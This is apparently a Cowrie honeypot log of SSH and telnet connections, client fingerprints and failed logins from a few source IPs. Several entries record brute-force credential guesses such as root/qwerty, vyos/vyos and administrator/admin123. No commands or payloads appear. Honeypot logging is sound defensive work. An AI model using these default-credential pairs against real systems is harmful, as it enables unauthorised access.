{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:47.618361Z","src_ip":"176.32.39.21","session":"c0486de4403a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface","message":"login attempt [root/warface] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:47.982738Z","src_ip":"176.32.39.21","session":"c0486de4403a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:49.104900Z","src_ip":"176.32.39.21","session":"c0486de4403a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48342,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f68ec9c62b8","protocol":"ssh","message":"New connection: 31.40.204.166:48342 (159.203.135.109:22) [session: 9f68ec9c62b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:51.216472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:51.222801Z","src_ip":"31.40.204.166","session":"9f68ec9c62b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:51.391382Z","src_ip":"31.40.204.166","session":"9f68ec9c62b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:52.320847Z","src_ip":"31.40.204.166","session":"9f68ec9c62b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:53.490219Z","src_ip":"31.40.204.166","session":"9f68ec9c62b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":60799,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e54920283d","protocol":"ssh","message":"New connection: 179.176.210.17:60799 (10.17.0.5:22) [session: 43e54920283d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:54.661023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:54.666138Z","src_ip":"179.176.210.17","session":"43e54920283d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:54.806965Z","src_ip":"179.176.210.17","session":"43e54920283d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:55.402726Z","src_ip":"179.176.210.17","session":"43e54920283d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:56.546199Z","src_ip":"179.176.210.17","session":"43e54920283d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57120,"dst_ip":"10.17.0.5","dst_port":23,"session":"e894a0d682f2","protocol":"telnet","message":"New connection: 152.42.224.71:57120 (10.17.0.5:23) [session: e894a0d682f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:57.850734Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57136,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db5162720c0","protocol":"telnet","message":"New connection: 152.42.224.71:57136 (10.17.0.5:23) [session: 4db5162720c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:58.565722Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bac421fd49a","protocol":"telnet","message":"New connection: 152.42.224.71:57152 (10.17.0.5:23) [session: 5bac421fd49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:59.080542Z"}
{"eventid":"cowrie.session.closed","duration":31.431233882904053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:59.237612Z","src_ip":"152.42.224.71","session":"f2f51550f2be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"49630a7d182e","protocol":"telnet","message":"New connection: 152.42.224.71:57156 (10.17.0.5:23) [session: 49630a7d182e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:59.323414Z"}
{"eventid":"cowrie.session.closed","duration":39.8714382648468,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:00.526875Z","src_ip":"152.42.224.71","session":"fa963016258a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.862990856170654,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:00.534343Z","src_ip":"152.42.224.71","session":"80d0c7f3f086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124478340149,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:01.188832Z","src_ip":"152.42.224.71","session":"6106f3ae25c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41356,"dst_ip":"159.203.135.109","dst_port":22,"session":"22b1542174b9","protocol":"ssh","message":"New connection: 31.40.204.166:41356 (159.203.135.109:22) [session: 22b1542174b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:04.181697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:04.194562Z","src_ip":"31.40.204.166","session":"22b1542174b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:04.315295Z","src_ip":"31.40.204.166","session":"22b1542174b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:04.984612Z","src_ip":"31.40.204.166","session":"22b1542174b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:06.204663Z","src_ip":"31.40.204.166","session":"22b1542174b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.553210496902466,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:06.692532Z","src_ip":"152.42.224.71","session":"7b11e906396c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00097751617432,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:07.163828Z","src_ip":"152.42.224.71","session":"8cae29a4fe72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.0394561290741,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:08.121703Z","src_ip":"152.42.224.71","session":"3e0bf583002f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"e822fd9511d9","protocol":"telnet","message":"New connection: 152.42.224.71:54930 (10.17.0.5:23) [session: e822fd9511d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:09.090321Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1264eb4dab0","protocol":"telnet","message":"New connection: 152.42.224.71:54942 (10.17.0.5:23) [session: f1264eb4dab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:09.461813Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53026,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57df3a461b8","protocol":"ssh","message":"New connection: 31.40.204.166:53026 (159.203.135.109:22) [session: a57df3a461b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:16.581915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:16.594030Z","src_ip":"31.40.204.166","session":"a57df3a461b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:16.711994Z","src_ip":"31.40.204.166","session":"a57df3a461b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:17.386092Z","src_ip":"31.40.204.166","session":"a57df3a461b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24954652786255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:17.490726Z","src_ip":"152.42.224.71","session":"9ac0b3457688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36776,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f86b0e9f61","protocol":"telnet","message":"New connection: 152.42.224.71:36776 (10.17.0.5:23) [session: 34f86b0e9f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:17.847705Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36782,"dst_ip":"10.17.0.5","dst_port":23,"session":"381965cf2018","protocol":"telnet","message":"New connection: 152.42.224.71:36782 (10.17.0.5:23) [session: 381965cf2018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:18.318798Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36796,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cf55f33735","protocol":"telnet","message":"New connection: 152.42.224.71:36796 (10.17.0.5:23) [session: 56cf55f33735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:18.587468Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:18.694550Z","src_ip":"31.40.204.166","session":"a57df3a461b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.768956422805786,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:21.849402Z","src_ip":"152.42.224.71","session":"5bac421fd49a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.40234184265137,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:24.262939Z","src_ip":"152.42.224.71","session":"7d385879a84f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54894,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcffcc68ec0","protocol":"ssh","message":"New connection: 31.40.204.166:54894 (159.203.135.109:22) [session: 1fcffcc68ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:28.983690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:28.988124Z","src_ip":"31.40.204.166","session":"1fcffcc68ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:29.182079Z","src_ip":"31.40.204.166","session":"1fcffcc68ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad6064444d8","protocol":"telnet","message":"New connection: 152.42.224.71:33288 (10.17.0.5:23) [session: 2ad6064444d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:29.462695Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:29.817815Z","src_ip":"31.40.204.166","session":"1fcffcc68ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:31.014370Z","src_ip":"31.40.204.166","session":"1fcffcc68ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33292,"dst_ip":"10.17.0.5","dst_port":23,"session":"259615467a66","protocol":"telnet","message":"New connection: 152.42.224.71:33292 (10.17.0.5:23) [session: 259615467a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:34.653103Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4489f36ee1f","protocol":"telnet","message":"New connection: 152.42.224.71:33298 (10.17.0.5:23) [session: b4489f36ee1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:35.035153Z"}
{"eventid":"cowrie.session.closed","duration":37.25652456283569,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:35.107139Z","src_ip":"152.42.224.71","session":"e894a0d682f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00142860412598,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:35.937969Z","src_ip":"152.42.224.71","session":"2523a5d50821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb9e765be0d","protocol":"telnet","message":"New connection: 152.42.224.71:35992 (10.17.0.5:23) [session: 8bb9e765be0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:36.224326Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35996,"dst_ip":"10.17.0.5","dst_port":23,"session":"31132fcbb73a","protocol":"telnet","message":"New connection: 152.42.224.71:35996 (10.17.0.5:23) [session: 31132fcbb73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:26:38.059341Z"}
